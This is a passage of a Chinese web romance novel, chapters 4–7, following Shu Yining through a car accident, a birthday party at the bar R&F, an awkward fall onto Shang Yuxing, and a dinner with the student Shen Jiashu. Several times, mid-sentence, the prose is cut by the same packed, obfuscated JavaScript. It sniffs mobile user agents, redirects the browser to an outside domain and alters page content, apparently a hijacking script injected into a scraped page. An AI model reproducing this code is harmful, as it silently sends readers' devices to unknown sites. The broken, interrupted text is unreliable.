舒以宁这才发现他的车后面本来还跟了一辆丰田埃尔法,车上已经下来了三个同样穿着黑衣的保镖。 没想到商聿行的排场越来越大了,日常出行竟然还跟了一辆载满安保人员的车。 她不由朝商聿行投去好奇的目光,然后……赶巧不巧,恰好撞上他深不见底的黑眸。 舒以宁不由后退半步。 这一刻,明明是她站着,他坐着;她俯视他,他仰视她—— 可舒以宁还是感受到了上位者与生俱来的压迫感。 沉沉一眼,仿佛要通过这双眼睛,看透她的小把戏。 舒以宁心脏猛地一紧,想要解释的话怎么都说不出口了。好像说来说去,都更像是一种辩解,哪怕这的确是一场实实在在的意外。 所幸只是小剐蹭,司机检查后走过来向商聿行做了汇报,而后站到一旁等待指示。 商聿行略一颔首,淡声说:“以宁,不用紧张。我还有工作安排,告辞。” ** 是夜,R&F。 邢南吸了口雪茄,缓缓吐出烟雾:“所以你就不想来给我过生日了?” 舒以宁单手将一缕垂落的发丝绕至而后,叫苦不迭:“南哥,我这才把行哥车给撞了,实在不敢再出现在他面前添堵。” “哎,多大点事儿,我跟他说一声。”邢南优哉游哉道,“他不至于跟你一个小姑娘家家计较这点小事儿。” 舒以宁心道,我这不是怕他以为我对他贼心不死、心怀不轨、有所图谋嘛。 我都怕他那几个保镖冲上来把我按地上。 天地可鉴,这真的单纯只是一起普通得不能再普通的交通事故。 邢南看了舒以宁一会儿,笑道:“你又不是不知道,他向来不喜欢这种场合,指不定来不来呢。就算来了,八成也是坐会儿喝杯酒就走。” 说得……倒也是。 确实,商聿行总归不可能和他们一块儿蹦迪。 舒以宁深以为然。 邢南笑了一声,说:“你要是不来,小夏夏肯定也不愿意来了。那我的派对可就不单单少一位保加利亚玫瑰小姐了,还要缺一位二次元美少女。以宁,你忍心?” 舒以宁被他逗笑了,开玩笑道:“那到时候万一行哥发难,南哥可得护着我。有南哥替我挡一挡,我相信行哥自然就不会太为难我。” 她这话说得巧妙,相当于是先给邢南架了上去。 邢南用雪茄隔空点点她,听出了她的意思,扬唇笑:“尽管放开了玩儿,放心,我给你托底。阿行总归会卖我个面子,更何况是我生日呢!派对主题你肯定喜欢,记得穿漂漂亮亮的来。” 今明两晚R&F不对外营业,只为老板的生日派对做准备。舒以宁下楼也就没撞见肖寂,她随口问旁边的侍应生:“肖寂不来彩排吗?” 侍应生恭敬回答道:“舒小姐,老板说Jacob是我们R&F的明星,别人不需要彩排,Jacob也不需要。”Jacob是肖寂在R&F的代称,算是个艺名。 舒以宁点点头,由衷地做了个评价:“你们老板为人相当不错。” 邢南也确实当得起她这句评价。等人一走,他就滑开手机屏幕打通了商聿行的私人电话。 “我听以宁说,她今天不小心追尾你了?” 通话另一头的男人淡淡道:“嗯。” 邢南笑道:“阿行,给我个面子,别跟人小姑娘计较。” 男人轻哂,懒得与他多说:“你认为,我有闲工夫计较这点小事?” “哎呀,我也跟以宁说这么说呢。这不人小姑娘几年前被你吓着了,一追尾,都不敢来参加我明天的生日party了。” 商聿行语带三分嘲讽:“那倒是我的不是了。” 邢南指间夹着雪茄,轻轻一掸,开玩笑道:“我可没这么说,以宁也没这么说啊,你别诬赖人。不是我说你,以宁哪回见了你不跟老鼠见了猫似的,你就不能和颜悦色点?就算她当初是做得不对,但就算被她亲了一口你又有什么损失了不成?威胁到你商大老板神圣不可侵犯的地位了?还是害你心心念念的白月光吃醋了?倒是你,弄得人家小姑娘见了你就怕,犯得着么?” 商聿行没说话。 邢南等了一会儿都没听见对面有声音,佯装惊诧道:“你不会真的有白月光吧?” 商聿行又是回以一哂。 邢南吸了口雪茄,眯着眼吐出烟雾,回忆起来:“听说她今天开的还是夏夏送的那辆MINI,是不是很可爱?许夏天向来喜欢这种可爱的小东西,上回我恰好遇到她和以宁一人一辆MINI开进车库,蛮有意思的。” 对面又没声音了。 邢南不管他在不在听,自顾自道:“哎说真的,我真蛮欣赏以宁这样的女人,肆意张扬,敢爱敢恨。拿得起,也放得下。” 说到这里,他叹了口气,半开玩笑半可惜道:“阿行,你说我怎么就没能被她看上呢?就偏偏看上你这块感化不了的木头了。” 不然,谈个几天玩玩倒是不错。 邢南不介意自己作为猎物,成为舒以宁的狩猎对象。但既然她没有这个意思,他自然也不好凑上去。一来,这以宁好歹也算是他看着长大的;二来么,漂亮确实漂亮,性格也对他胃口,但不来电。 男女之间更多时候,还是要看感觉的。这种说法足够虚无缥缈,但兴许这就是爱情的魔力吧。 邢南本以为商聿行不会开口,正要说句道别语句结束这通没啥营养的电话,就听见对方冷淡道:“空档期满一个月了?” 邢南笑着说:“空档期结束了,影视学院的学生,学编导的,大三。明晚你就能见到了。” 商聿行意兴阑珊:“挂了。” ** 邢南的生日趴体喊的都是朋友,肖寂以一首原创摇滚开场,后面又连着唱了三首。他的低音辨识度很高,厚实沉稳,沙哑适度,有一种在沉静中爆发的生命力。 肖寂唱完,刚在一档王牌音综上崭露头角的新人女歌手走上了舞台中央,在邢南的鼓舞下,许夏天推脱不得,也上了台。 音乐一起,是二次元神曲《达拉崩吧》。 光线朦胧陆离,舒以宁坐在吧台,托起鸡尾酒杯冲着正朝她走来的肖寂笑了一下。 肖寂很快到了她身侧,往许夏天刚刚坐的座位坐下。 “白兰地。”他对调酒师说。 弱声G5高音的歌声中,舞台上诉说着勇士的故事。 舒以宁与他碰了碰酒杯,浅酌小小两口。 二人没有说话,静静地对视了一会儿。 肖寂的眼神与他的摇滚朋克风格截然不同,此刻就像一片平静的海面,流淌着生动的流光。 舒以宁放下鸡尾酒杯,左手托腮,另一手往前伸。 食指隔空描摹着他的眉骨。 平心而论,肖寂长得并不见得有多出众,但他有着一种慵懒的、颓废的气质。 台上,他像一团燃烧的黑色火焰;台下,他是一片寂静的高岭。 这是一种与摇滚相辅相成的迷人魅力,无疑能俘获很多人的心。 舒以宁也不例外。 肖寂看着她近在咫尺的葇夷,唇角微微往上抬。 舒以宁放下了手,冲他笑:“待会儿可以邀请你跳一曲么?” 肖寂一如既往地拒绝了她。 舒以宁唇角勾笑,眸光潋滟动人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128774|180182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“那没人和我跳,我只能和夏夏跳了。” 今天的场子很热,邢南今年生日趴体喊上了不少人一块儿来玩。肖寂一早就看见舒以宁坐在吧台这边,而前来搭讪的男人不在少数。 看,她就是这样。 魅力无限,鬼话连篇。 他没有拆穿她,陪她坐到这首歌结束,就离开了。 许夏天回来的时候情绪明显十分高昂,小跑着过来抱住舒以宁,然后振臂高呼:“POGO!POGO!” 舒以宁单手拎着酒杯,看着她笑。 许夏天兴高采烈,双眸灿若星辰:“别笑了,还干坐着干嘛!起来,和夏夏一起POGO!” 邢南今天的生日趴体还请来了新生代中迅速走红的DJ带动气氛。他带来事先编排好的Set,以FutureBounce曲风为主,律动感极强。 旋律欢快明亮,调动的情绪浪潮一波又一波。 舒以宁和许夏天蹦了一会儿,举着酒杯去祝邢南生日快乐。 邢南搂着小女朋友的腰,与她们俩碰杯,随着音乐高呼了一声带动气氛。 他不忘开玩笑:“以宁,在场的都是我朋友,有看得上的说一声,我帮你追啊。” 许夏天大笑着问道:“哪个朋友都可以吗?” 邢南笑着指指她,“夏夏不厚道啊,亏我今个儿还专门按你喜好找来了你们二次元神曲。” 许夏天在摇曳的人群中冲舒以宁歪头笑:“我说的是肖寂,哪里不厚道了吗?” 舒以宁笑着推开她的脸,“我可真谢谢你了!” 商聿行来得比较晚,他一出现,就有侍应生走过来附在邢南耳边提醒。 邢南笑着招呼舒以宁:“一会儿给你行哥敬个酒赔罪,我和他说过了,他不会为难你。” 舒以宁笑着道谢。 “谢什么,见外。”邢南笑着又与她喝了一杯,“我先过去。” 说完,他带着小女朋友走向暗处的卡座。 商聿行刚来,侍应生给他倒上了威士忌。 他手中转动着岩石杯,冰块与威士忌交融,在晦暗不明的灯光中折射出清寒的微光。 “生日快乐。”他与邢南撞了一下酒杯,一口饮尽,喉结轻轻滚动。 邢南看他一丝不苟的西服就能猜道:“刚下班?” 商聿行“嗯”了一声。 邢南介绍自己的新女朋友给他认识,末了,嘱咐道:“以宁待会儿来敬酒,你别冷冰冰的没个好脸色,就当卖我个面子了。” 商聿行微微颔首,没说话。 邢南见他同意了,笑道:“我就说多大点事,男人,大气点。这些年多少女人往你身上倒,也没见你为难人家。” 商聿行抬眸:“我有为难过她?” “行行行,我说错了,我的错。”邢南晃了晃酒杯,“你把外套脱了,我们哥仨一块儿蹦迪啊,楚江野那小子正在池子里。” 商聿行摆摆手拒绝了。 商聿行不愿意做的时候,邢南知道谁都勉强不了。他能忙中抽闲就已经很给面子了,邢南也就不多说什么:“那我和殊恬去蹦会儿,你自个儿先歇会儿。来都来了,不切蛋糕不准走啊!” 另一边,许夏天软饮喝多了,内急:“我先上个洗手间,等我回来,我陪你去敬酒。” 舒以宁放下酒杯,“我陪你去。” 许夏天忙道:“不用不用,你还是物色一下邢南的‘朋友们’吧,哈哈哈哈……” 许夏天走后,舒以宁从路过的侍应生端盘上重新拿了杯香槟,倚着吧台看向不远处的卡座。 她看到邢南揽着小女朋友的肩大摇大摆走向了舞池。 舒以宁看了一会儿,又将目光移回卡座那儿,猝不及防对上男人看过来的目光。 她顿时浑身一个激灵,不自觉站直了身子。 是商聿行。 那处灯光晦暗不明,却将男人深邃英挺的轮廓勾勒得极有格调。就像充满诱惑力的深海暗域,吸引着人往前探索,每一寸都是未知的危险。 他们之间隔着一段距离,穿马甲戴领结的侍应生穿梭而过,像极了影片中无声渲染的慢镜头。 舒以宁鬼使神差地走了过去。 5. 第 5 章 商聿行一早就看见吧台附近的舒以宁,他看了她一会儿,与她不经意间看过来的视线相交汇。 短暂的对视后,他挪开了目光。 他想,她应当会为了追尾的事过来敬一杯酒赔罪。 迟迟不见她过来,八成是在等许夏天一起。 她向来如此,在他面前,绝不敢一个人孤身前来。 这几年下来,几无例外。 然而令他出乎意料的是,下一秒,他的眼角余光里出现了亮片裙一角。 商聿行转过头,看向正向他走来的舒以宁。 贴身的亮片连衣裙礼服将她错落有致的完美身材崭露无遗,长发挽起,弧度优越的天鹅颈越发显得气质出众。 她有一双很漂亮的桃花眼,睫毛纤长浓密,眼头深邃,眼尾略弯上翘。在晦明不定的射灯中看过来的时候,很容易给人一种深情的错觉。 她就这么朝他走来,手持香槟杯,踩着高跟鞋,每一步都是摇曳生姿。 商聿行眸光微暗,不动声色地抿了一口威士忌。 等走到了商聿行面前,舒以宁才开始心生后悔。 她应该等许夏天回来,在一道过来给他敬酒才是。 只是现如今,都走到人跟前了,总不能再若无其事地转身走掉。 箭在弦上,不得不发,再怎么无措都得先把眼前这关过了再说。 她抬眸朝商聿行看去。 商聿行靠坐在黑色皮质沙发里,简简单单一件白衬衣,被他穿得十分凸显质感。 他今天有些不同,但至于具体到底哪里不同,舒以宁又不太说得上来。 她又看了一会儿,终于有点品味出来了。 他还是他,依旧是那个H市上流圈子里矜贵得无与伦比的商聿行。 但他也确实不大一样了。 脱掉了西服外套,姿态散漫,多了几分落拓不羁的味道。 相当诱人。 舒以宁稳了稳心神,在他面前站定,弯眸笑着喊了一声“行哥”。 商聿行微微颔首,主动朝她举起了桌上的酒杯。 舒以宁顿时有点意外,她捂住胸口,微微低下身酒杯与他碰了一碰。 “行哥,我敬您。” 商聿行薄唇轻启:“坐。” 他坐在微微靠里侧的位置,旁边还留着能容纳两个人的空间。 舒以宁闻言坐下来,小心翼翼控制好距离,以免坐得靠他太近。 等她坐下了,他才一口喝光了杯中的威士忌,只留下冰块轻轻撞击岩石杯杯壁的声音。 明明场内喧闹,音乐声高潮迭起,但很奇怪—— 舒以宁感觉自己清清楚楚地听见了冰块与杯子的清脆撞击声。 她坐得很端正,敛眸喝杯子里的香槟。本打算就沾一沾嘴唇意思一下,一想到这是商聿行,立马把那薄薄一层酒都喝光了。 舒以宁斟酌了一会儿,笑着开口:“行哥,昨天追尾的事给您添麻烦了……” 她一边说,一边思考怎么不着痕迹地表达自己真没有故意借追尾在他面前刷存在感的意思。 舒以宁继续说:“……我有眼不识泰山,不认得行哥的车牌号,下次我一定注意。” 商聿行淡淡道:“我不是只坐这辆车出门。” 舒以宁心道,那麻烦你把所有的车牌号都给我一下? 当然,她只敢心里这么想想,不可能真的开口明怼他。 见她沉默,商聿行掀起眼皮,缓声开口:“以宁,过去的事情都已经过去了,你放心。” 他指的是这次的追尾,也不单单是这次的追尾。 每一次在他面前,她都是这么一副如履薄冰、如临大敌的模样。 好像总是唯恐哪句话说错,惹得他不高兴。 他不想再面对这样一个她了。 舒以宁有点惊讶。 以她对商聿行的了解,他能主动说出这样的话来,着实有些出人意料。 她赶忙说:“以前是我轻浮不懂事,我再敬您一杯赔罪。” 说完,舒以宁拿起桌上的威士忌给商聿行倒酒,表明自己对他绝未存在不该有的遐想:“我有喜欢的男孩子,可惜今天没能带来。不知行哥这里有没有好消息了?” 她眉眼弯弯地朝他笑看过去。 商聿行冷淡地看了她一眼。 舒以宁一接触到他清冷的目光,眼睛马上避开去。她给自己倒上香槟,迅速道:“行哥我敬您。” 咕咕咕,仰头喝完。 好险,差点又说错话了。 商聿行有没有喜欢的女人是她能过问的? 舒以宁越想越后悔,她不敢去看他的脸色,只看着她刚刚倒好酒的、他那杯放在桌上的威士忌。 他始终没有抬手端起。 ……好吧。 又搞砸了。 显然,这位又不大高兴了。 舒以宁只好又去拿桌上的香槟酒给自己倒上,这次,她也不说敬他了,真诚道:“是我僭越了,您海涵。” 千万别再一个不高兴,给我们家舒住使绊子QAQ。 舒以宁喝完这杯,眼角余光终于看到男人指骨分明的长指落到了岩石杯上。 她轻轻松了一口气。 不一会儿,楚江野走过来,示意舒以宁往里边挤一挤,“来敬阿行酒呢?来来来,我也跟着喝一杯。” 舒以宁见他要坐下来,只好往里头挪了一点,笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128775|180182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“江野哥,好久不见。” 前几年,楚家渐渐将生意重心落定在北京,所以,楚江野平时很少回H市来了。加之他比商聿行还要大上两岁,舒以宁和他之间的年龄代沟也就更大一些,向来没什么交集。 楚江野拿起香槟酒给她倒上,随口问道:“没带小男朋友来?” 舒以宁先是道了谢,接着笑着说:“还在追。” “那就等你的好消息了。”楚江野倒完酒,先是与舒以宁碰了下杯,笑道:“你随意,玩得尽兴。” 然后,又越过舒以宁碰了下大理石桌面上商聿行的岩石杯,“阿行得干了啊。” 楚江野难得回来一趟,只坐了一会儿,就起身去找其他熟人喝酒了。 留下舒以宁一个人坐在商聿行身侧,如坐针毡。 邢南等人正在舞池中释放激情,欢呼声此起彼伏,这帮人一时半会儿回不来。 坐得太近,舒以宁更不敢转过头去看商聿行的脸,也不太敢开口聊点什么。毕竟多说多措,要是再惹得他不高兴了,指不定还得受什么罪。 时间变得无比漫长。 五米开外就是沸腾的人群,绚丽夺目的灯光四处扫射,强烈的鼓点把气氛带上了新的高潮。而这处,迷离暧昧的灯光交错着打过来,空气中同样弥漫着舞池蔓延过来的荷尔蒙情调。 舒以宁绞尽脑汁终于找到一个好理由,她微微侧过脸,脸上漾起明媚的笑容,一边起身一边说:“行哥,我上个洗手间,先失陪——啊——” 她站起来站得太着急,高跟鞋没站稳,整个人直接往前跌落在了他的大腿上。 音乐声还在继续,鼓点密集,高能量的强烈节奏带动着热情与活力。 舒以宁整个人面部朝下,趴在男人交叠的双腿上。 他身上清浅森冷的木质调香水味无比清晰地萦绕在她的周围。 舒以宁心里边只能两个字—— 完了。 这怎么看都像是她故意摔的。 经过短暂的内心挣扎后,她不得不先借力站起来,脑海中紧锣密鼓思考着如何道歉与解释。 手往前一伸,按住着力点…… 着,着力点……伴随着男人一声低沉的闷声,舒以宁手掌中传来隔着西服挺括顺滑面料的灼热。 她不是个未出象牙塔的小女孩,瞬间就明白过来是怎么一回事,脑袋刹那间一片空白。 又过了一会儿,她才终于反应过来,默默地缩回了不合时宜的手。 人自然是还趴在他腿上,脸越来越烫,越来越烫,简直快要烧起来了。 舒以宁深吸一口气,从他腿上仰起脸,声音有些颤抖:“我要是说,我不是故意的,你会相信吗?” 6. 第 6 章 商聿行看着她妆容精致的脸,看着她乌黑水润的双眸。 她的眼睛很漂亮,现在正楚楚可怜地望着他。 乌眸中有惶恐,有不安。 商聿行憋了一阵火,闭上了眼。 他自然知道她不是故意的。 而她的意外,几乎要将他烧到灭顶。 商聿行平复了一阵,掀开眼皮时声音不自觉变冷:“起来。” 舒以宁这才发现自己还趴在他腿上,忙不迭手忙脚乱地撑住旁边的沙发爬起来。 她这么一动作,胸前的两团柔软不可避免地往他身上挤。 商聿行简直快被她弄疯了,他再一次闭上眼,喉结轻滚。 舒以宁也注意到了这点,但她没办法,只能赶紧起来远离他。 很快,商聿行就听见了她踩着高跟鞋匆忙远去的声音。 她总是这样。 在他这惹了事,不管不顾就兀自跑了。 总是这样。 总是这样。 ** “姑奶奶,你还没死心呢?不是在追弟弟吗?”许夏天刚刚就坐在斜对面的卡座,目睹了一切后,简直可以用目瞪口呆来形容。 舒以宁欲哭无泪,“我看起来像不要命的人?” 许夏天睁大眼眶,说:“不是你主动往他怀里扑?你可别跟我说是不小心摔进他怀里的啊,现在偶像剧都嫌这种桥段老套了。” 舒以宁:“……” 许夏天分析道:“很难不让人以为你是又喝醉了,犯了和以前一样的错误。” 舒以宁:“救我。” 许夏天看着斜对面的卡座,说:“他走了。” 舒以宁顺着她的目光看过去,果然看见那边已经空空如也。 许夏天:“你的眼神看起来好失望喔。” 她瞎出主意:“要不你现在就追出去?” 舒以宁立马道:“闭上你的嘴,我才不会追上去对他做什么!” “……我是让你追出去道歉。”许夏天很想大肆嘲笑她一番,但见她脸色沉重,也就不幸灾乐祸了。 出了这事,两人都歇了玩乐的心思,躲在角落里商量对策。 许夏天听了细节,不由大为震惊:“你还还还……那样他了?!” “你轻一点,我真没想怎么他。” “那我觉得……你确实是完蛋了。” 舒以宁十分苦恼:“我也不想啊,纯属意外。” 许夏天问:“他当时什么态度?” 舒以宁仔细回忆了一下,“他当时脸很黑,一下子就冷得快要结冰了,那个眼神……就像是要把我给吃了。然后我就问他信不信我不是故意的,他很凶,让我起来。” “非常凶。”舒以宁补充了一句。 许夏天沉思了几分钟,说:“这种事情我们需要一个异性来站在男人角度分析一下,要不把王樾喊出来?” “被他知道了,还不被他笑死?” “你说的也是,现在这情况吧,说糟糕倒也不糟糕。毕竟,没什么人看见。” 不像四年前那次强吻,众目睽睽之下。 许夏天分析得头头是道:“他要是有动作,在外人看来,就是莫名其妙了。而且,像这么难以启齿的事情,他自己肯定不会往外说。” 舒以宁看了她一眼:“保不准还有别人看见了。” “我也只是看见你摔在他怀里,黑乎乎的,谁看得清你们还做了什么?”许夏天越说越觉得有道理,“况且,哪个不要命地敢把商聿行的八卦往外说?” 舒以宁认为有必要纠正她:“我是不小心摔在他腿上,没在怀里。” 出了这样的意外,舒以宁自然没了继续玩的心思,但这个时候不管是打声招呼再走还是不打招呼默默就走,都不大好。用许夏天的话来说就是—— “商聿行前脚走了,连切蛋糕都没等到,一看就是有情况。你后脚马上也走了,不是摆明了告诉别人,你们之间可能又发生了点什么吗?” “本来大家说不定还会以为他突然有什么工作上的事,但一牵扯到你……爱看八卦的人这么多,难免不瞎想。” 好在很快就到了切蛋糕环节。 五层的蛋糕架,以帆船为主题,层层浪花之上翻糖模型帆船乘风破浪。 众人围在一起拍着手唱生日快乐歌。 邢南情绪到了制高点,欢呼一声后,想起商聿行:“阿行呢?” 旁边立马有人附在他耳边说了点什么,估计是商总已经离开了之类的话。 邢南顿时大声道:“走了?这点面子都不给我?不行,我得把人叫回来!” 楚江野给了他一个眼神。 都是生意场上混的人,这点眼色邢南还是有的。他一下子就明白过来里头有情况,便暂时略过了这个话题,不动声色地大笑:“来来,大家生日快乐歌再唱几遍,唱起来啊,祝我活到八十岁就够了,八十一岁我都蹦不动了。” 生日歌中,邢南兴致高涨地将新交的女朋友推出来切蛋糕。 分完蛋糕,又是新一轮的嗨皮。 一直到凌晨五点才散场。 邢南一觉睡到第二天晚上十点,一睁开眼就记挂着昨晚上的事,打电话找楚江野了解情况。 楚江野将看到舒以宁坐进商聿行怀里的事情说了。 邢南沉默了一会儿,怀疑:“我是不是没睡醒?” 楚江野缓声道:“我不会看错,而且,你那小女朋友带来的小姐妹也看见了。” 邢南忙问:“阿行当时什么反应?” 楚江野据实以告:“阿行好像不大高兴,以宁从旁边一走开,他就走了。我没上去,这事儿我们就当做不知道为好。要怎么样,是他们自个儿的事。” 邢南感到奇怪:“以宁又喝多了?不至于啊,我后面还跟她说话了,明明很清醒。这事要是没其他隐情,依阿行的性子,恐怕没那么简单能了。” 楚江野笑了一声,提醒他:“你觉得今天要是哪个小明星故意坐他腿上去,他事后会把人怎么样么?” “事后?哪种事后?” “正经点。” “你是说阿行会不会弄她?不会吧,前些年向他投怀送抱的女人又不在少数。” 楚江野又笑了一声,没说话。 邢南渐渐品味出来了—— “你不会是想说,阿行特别讨厌以宁吧?所以才会只报复她一个人?” 楚江野沉默了一会儿,然后惜字如金地吐出两个字:“挂了。” 事发突然,到底是在他生日趴体上发生的事,邢南先是打电话想探一下商聿行那边的口风。 没打通。 他又打到商盛总裁办去问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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舒以宁侧着脸莞尔一笑:“前段时间出去度假了,给你带了伴手礼,只带给你。” 她将“只”字咬得别样生动,声音里有一种格外明媚可爱的邀功意味。 沈嘉树拿起礼盒,上了车。 他将礼盒放到车子置物柜中,没收,淡淡道:“心领了。” 舒以宁说:“不是什么贵重的东西,当地手工艺品。” 沈嘉树扣好安全带,拒绝得毫不拖泥带水:“承蒙错爱,我们不是情侣关系,我不会收下你的礼物,也不会收下你的感情。” “我知道啊,所以我这不是一直在追你?”舒以宁毫不在意地笑笑,然后说:“哎,我们这样像不像偷情?” 她指的是来接人下班还要开到地下车库来,偷偷的。 沈嘉树面无表情地看着前方:“我没有偷情的前置条件,至于你,我不清楚。” “我向来正大光明,就像我喜欢你,也喜欢得正大光明。” 说者无心,听者有意。 沈嘉树微微敛眸,没有说话。 舒以宁并没有多想,他是高冷型的男孩子,相处过程中不说话是常态。 在沈嘉树的坚持下,舒以宁放弃原定的烛光晚餐安排,送他回了学校。 暑假期间,科大食堂只开放大众化的一楼打菜窗口,可选择性不多。沈嘉树五点下班,又磨蹭了会儿,五点半才坐上舒以宁的车,回到科大都已经快要六点钟了。 一楼食堂只剩被挑选下的残羹冷炙,躺在四四方方的铁质长方形托盘里,显得楚楚可怜。 舒以宁很娇气,但还是跟在他身后打了饭菜,不忘笑盈盈和食堂阿姨说:“阿姨少一点,我减肥。” 7. 第 7 章 舒以宁看着他吃,她自己则没怎么动饭菜。 “你实习都做些什么呢?软件开发吗?还是白盒测试?黑盒测试?” 沈嘉树一边吃饭,一边回道:“做语义识别,一些基础的工作,增删改查。” 舒以宁听不懂,但不妨碍她吹捧他:“你好厉害呀,我都听不懂,你可以说给我听听吗?” 于是便你一句我一句地聊了下来。 沈嘉树见她不吃,于是动作十分自然地推开自己吃完的餐盘,拉过她的餐盘,开始吃她没怎么动过的饭菜。 舒以宁左手托腮,十分满意地看着他吃:“你吃好多,晚上要去打篮球消化一下吗?” 她好歹还是吃了一两口,他能毫无芥蒂地拿过去吃,就说明他潜意识中其实已经接受了她的存在。 舒以宁深谙男女交往中的小细节,顿时得寸进尺:“你都把我的饭给吃了,我都没得吃了。我不管,你要陪我吃其他的。” 沈嘉树面不改色:“你说你减肥。” 舒以宁:“女孩子的话不能当真。” 沈嘉树抬眸:“所以你喜欢我,我不能当真?” 舒以宁:“这个可以!” 从食堂出来,沈嘉树带舒以宁去学校后面的垃圾街,吃整条街上最干净的那家烤肉。 ** 商聿行没有想到会在一家其貌不扬的烤肉店遇到舒以宁。 起先,是陈洲非要请他吃饭:“你别不信我,这家烤肉真的跟我们上学那会儿常吃的那家一个味儿。” 他本想拒绝,但对方一再坚持,说他身上越来越缺少烟火味,一定要帮他找回来点。 于是,他就跟着陈洲来到了这家开在科大后街的烤肉店。 正值暑假,又是工作日,店里生意不多。 室内冷气打得很足,就在陈洲刚点完菜的时候,不远处响起推门而入的叮咚声。 商聿行略一抬眸,看到了走进来的舒以宁。 以及,她身侧穿着简单白T的男生。 陈洲也注意到了,他转回头和商聿行说:“是我学生,介意一起吃吗?” 商聿行状似漫不经心道:“你随意,我都行。” 陈洲于是站起身朝门口招手:“哎嘉树!这里——” ** 舒以宁闻声望去,很快就认出是沈嘉树的大学老师。 她的目光略微移动了一下,落到了他对面的男人身上。 舒以宁:“!!!” 男人面色寡淡,精致的眉眼冷峻,浑身上下泛着矜重卓然的气质。他正看着她,目光浅淡,却严肃得令人生畏。 舒以宁立马逃一般地转回头,指着就近角落里的小桌,对沈嘉树说:“你过去打声招呼吧,我坐这里等你。” 沈嘉树不疑有它,抬手朝陈洲挥了一下,“没事,不用过去打招呼。” 他能猜到陈洲八成要调侃他与舒以宁,他不想在舒以宁面前被调侃感情。 二人于是走到角落那桌,坐下扫码点餐。 陈洲很快过来了,先跟舒以宁打了声招呼,然后问道:“要不我们拼桌?” 反正多请两个人,他也不是请不起。 舒以宁呼吸一顿,差点要窒息了。 她赶在沈嘉树表态前匆忙开口婉拒:“我想和沈嘉树单独吃,可以吗陈老师?” 陈洲露出恍然大悟的表情,“抱歉抱歉,我唐突了,哈哈哈……” 沈嘉树怕他要开舒以宁玩笑,冷冷道:“你可以走了,陈老师。” 陈洲看出他的小心思,拿手指指他,笑眯眯回了原来的位置。 菜很快就上来了,沈嘉树问店员要了一次性围裙,递给舒以宁。 舒以宁沉浸在吃个饭都能遇到商聿行的低沉情绪里,一时无暇注意沈嘉树突然变体贴的变化。 舒以宁戴上了围裙,下意识朝商聿行坐的那桌望过去,然后目光一顿。 冤家路窄。 没想到避开了一阵子,一回来就撞上了。 好在商聿行一直都没有转过脸来看向他们这里,不然就更尴尬了。 舒以宁纠结片刻,默默移开视线,假装没有看见他。 不过…… 这倒不失为一个向他表明自己绝对对他没有任何企图的绝佳机会,就是吧,沈嘉树不见得配合她。 她压低嗓音,对沈嘉树说:“看到你老师对面那人没?” 沈嘉树:“?” 舒以宁:“我死对头。” 沈嘉树:“?” 舒以宁:“快喂我吃一块烤肉,求求你了。” 沈嘉树:“……” 沈嘉树毫不怀疑,这是她故意诓骗他,以达到让他喂她吃东西的目的的借口。 舒以宁知道他不肯。 于是,她便挑了一块烤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128777|180182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉,蘸好酱汁,细致地包进生菜里。 沈嘉树抬头望向陈洲对面的男人。 恰好,对方也正看着他。 目光两相接触,谁都没有先移开。 无声的对峙。 耳边传来舒以宁的声音:“那你吃一块我包的,好不好?” 沈嘉树不由自主张开嘴,吃下了她包好生菜、递到他唇边的五花。 舒以宁十分意外,立马笑盈盈凑到他身前,问:“可以奖励一个亲亲吗?” 沈嘉树终于率先敛眸收回对视的目光,默默别开了脸。 另一边,陈洲见商聿行一直看着沈嘉树这桌的方向,笑着调侃:“小情侣够甜吧?恋爱啊,还是得找年轻人谈。你多来我们学校逛逛,说不定就能撞见你的正缘了。” 商聿行波澜不惊地收回目光,淡然道:“我不喜欢年纪太小的。” 他抬起腕表看了眼时间,“我一会儿还有个酒局。” 陈洲一边吃肉,一边不满道:“不能推了吗?说好一道吃饭,你是不是瞧不上我请的这顿?” 他本来只是故意这么说,但注意到商聿行面前干净透亮的白瓷碗碟后,愣了一愣:“你怎么都没吃?真不对胃口?” 商聿行笑道:“真有事,身不由己。下次我请你,向你赔罪。” ** 这厢舒以宁尽量控制自己不往西南方向看。 她食量不大,吃得不多,好在沈嘉树正是埋头干饭的好年纪。 等她若无其事地扫过西南方时,那一桌不知何时已经空了。 走回科大的路上,沈嘉树倏然开口问她:“那个是你前男友?” 舒以宁知道他指的是谁,笑眯眯问:“你吃醋了吗,沈嘉树?” 